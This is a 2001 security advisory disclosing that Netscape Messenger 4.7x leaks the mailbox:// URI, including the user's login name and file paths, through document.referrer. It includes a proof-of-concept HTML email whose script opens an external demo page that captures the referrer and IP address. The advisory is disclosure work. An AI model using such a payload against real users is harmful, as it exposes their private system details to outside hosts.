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Author : 3APA3A <3APA3A@security.nnov.ru>
Affected software : Netscape 4.7x All Platforms
Vendor : Netscape (IPlanet)
Risk : Low
Remotely Exploitable : Yes
Released : 30 May 2001
Vendor URL : http://www.netscape.com
SECURITY.NNOV advisories: http://www.security.nnov.ru/advisories
Background:
Netscape Messanger uses internal protocol called mailbox://. The
format of mailbox URI is
mailbox://full_path_to_user_folder?ID=some_message_d&number=somenumber
this URI contains full path to user's mailbox which usually contains
user's login name and in case of Windows 9x - the path to Netscape
installation.
Problem:
It's possible to retrieve mailbox:// URI of the message. E.g., it's
possible to retrieve mailbox location, user's system login and in some
cases path to Netscape installation.
Details:
When link invoked from message, Netscape sets "document.referrer"
property to URI of the message contained this link. Javascript on the
target page is able to retrieve this property and pass it to any
location together with IP of calling machine.
Exploitation:
The simple message below forces Netscape Messanger to open new window.
Target page will display your IP and document.refferer. If you read
this message with Netscape Messanger you can simply click http://
reference below.
-=-=-=-=-=-=-=-=-=-
From: 3APA3A
To: 3APA3A
Subject: Test your Netscape
Content-Type: text/html
<html><script>
window.open('http://www.security.nnov.ru/files/nsdemo.asp');
</script></html>
-=-=-=-=-=-=-=-=-=-
Vendor:
Netscape was contacted May, 30 2001 via
http://help.netscape.com/forms/bug-security.html
No feedback were given.
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